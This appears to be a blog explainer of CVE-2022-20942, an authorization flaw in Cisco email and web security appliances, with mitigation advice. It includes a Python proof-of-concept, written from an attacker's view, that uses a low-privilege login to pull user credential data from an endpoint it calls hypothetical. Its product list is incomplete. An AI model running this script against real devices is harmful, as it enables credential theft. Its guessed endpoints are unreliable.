In late 2022, security researchers uncovered a serious flaw in several Cisco security products’ management interfaces. Known as CVE-2022-20942, this vulnerability puts Cisco Email Security Appliance (ESA), Secure Email and Web Manager, and Secure Web Appliance (formerly Cisco WSA) at risk of sensitive data leaks—including user credentials—due to poor authorization checks. Unlike many bugs, you don’t need to be a hacker mastermind to use this flaw: if someone has even basic authenticated access, they could potentially walk away with your organization’s secrets.

What is CVE-2022-20942? (Plain English)

Simply put: some Cisco appliances (ESA, Web, Managers) did not properly check “does this user have rights to access this information?” for certain management interface endpoints. That means anyone who could log into the web console—even with low-privilege credentials—could craft specific requests to access confidential backend data they’re not supposed to see.

Impact:  
Attackers who successfully exploit this can download configuration files, see account usernames and password hashes, or read logs that may contain sensitive info.

Affected Products:

Cisco Secure Web Appliance (WSA)

For a complete list of versions, check Cisco's official advisory:  
Cisco Security Advisory: cisco-sa-esa-web-cred-xStqvPMs

How Does the Attack Work?

When you use a web-based admin interface on these appliances, the browser sends HTTP(S) requests for information. Some of these endpoints are supposed to be limited by role. Due to weak backend checks, simply being logged in is enough for attackers to ask for resources they shouldn’t access.

Core problem:  
The application trusts that being logged in is enough, without checking if the user is authorized.

Example Exploit Flow

1. Attacker logs in with valid, but low-privilege, credentials (maybe a compromised or leaked account).
2. They send an HTTP GET/POST request directly to a sensitive endpoint, e.g., /download/config or /export/users.

Proof-of-Concept: Attack Code Example

Let's say you're an attacker with minimal login (not admin). You want to retrieve the system user database.

Python script using requests

import requests

# Suppress warnings for self-signed certs (not for production!)
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Replace these variables with target device info
target = "https://vulnerable-cisco-device.local";
username = "lowpriv"
password = "password123"
sensitive_endpoint = "/download/users"   # Hypothetical endpoint

# Start session
session = requests.Session()

# 1. Authenticate
login_data = {
    'username': username,
    'password': password
}
login_url = f"{target}/login"
r = session.post(login_url, data=login_data, verify=False)

if r.status_code == 200:
    print("[+] Logged in successfully, session cookies acquired.")

    # 2. Directly access the sensitive endpoint
    r2 = session.get(f"{target}{sensitive_endpoint}", verify=False)
    if r2.status_code == 200 and "user" in r2.text.lower():
        print("[+] Sensitive user data retrieved!\n")
        print(r2.text)
    else:
        print("[-] Exploit failed or endpoint not present.")
else:
    print("[-] Login failed.")

What attackers get:
A response dumping user credential info—sometimes even password hashes or API keys—straight from the appliance.

Note: Endpoints vary by version and product; actual endpoint names may differ.

What Makes This So Dangerous?

- Simple to exploit: No need for advanced privilege escalation. Just basic web scripting and a working login.
- Sensitive data leak: Results often include system configuration, account lists, and sometimes credentials.
- Hard to detect: Exploit requests look like normal API calls, making detection harder for legacy SIEM.

1. Update Your Appliances Now

Cisco has released patches for all supported products.  
See official Cisco advisory for latest fixed versions.

2. Audit User Accounts

Remove unneeded web management users and rotate any credentials that may have been exposed.

3. Restrict Web Management Access

- Block web interface access from untrusted networks (e.g., only allow management from inside the corporate firewall).

4. Monitor for Abuse

Check device logs for unusual requests to configuration or export endpoints by low-privilege users.

References

- NVD Entry for CVE-2022-20942
- Cisco Advisory
- Exploit Database (Search)
- Rapid7 Coverage Note

Conclusion

CVE-2022-20942 is a classic case of poor authorization and why “just logging in” should never be enough for sensitive operations. If you use any Cisco Email or Web Security device, check your patch levels immediately, lock down your web interfaces, and always follow the principle of least privilege. Don’t let a simple authorization oversight roll out the red carpet for attackers.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 14:34:00 UTC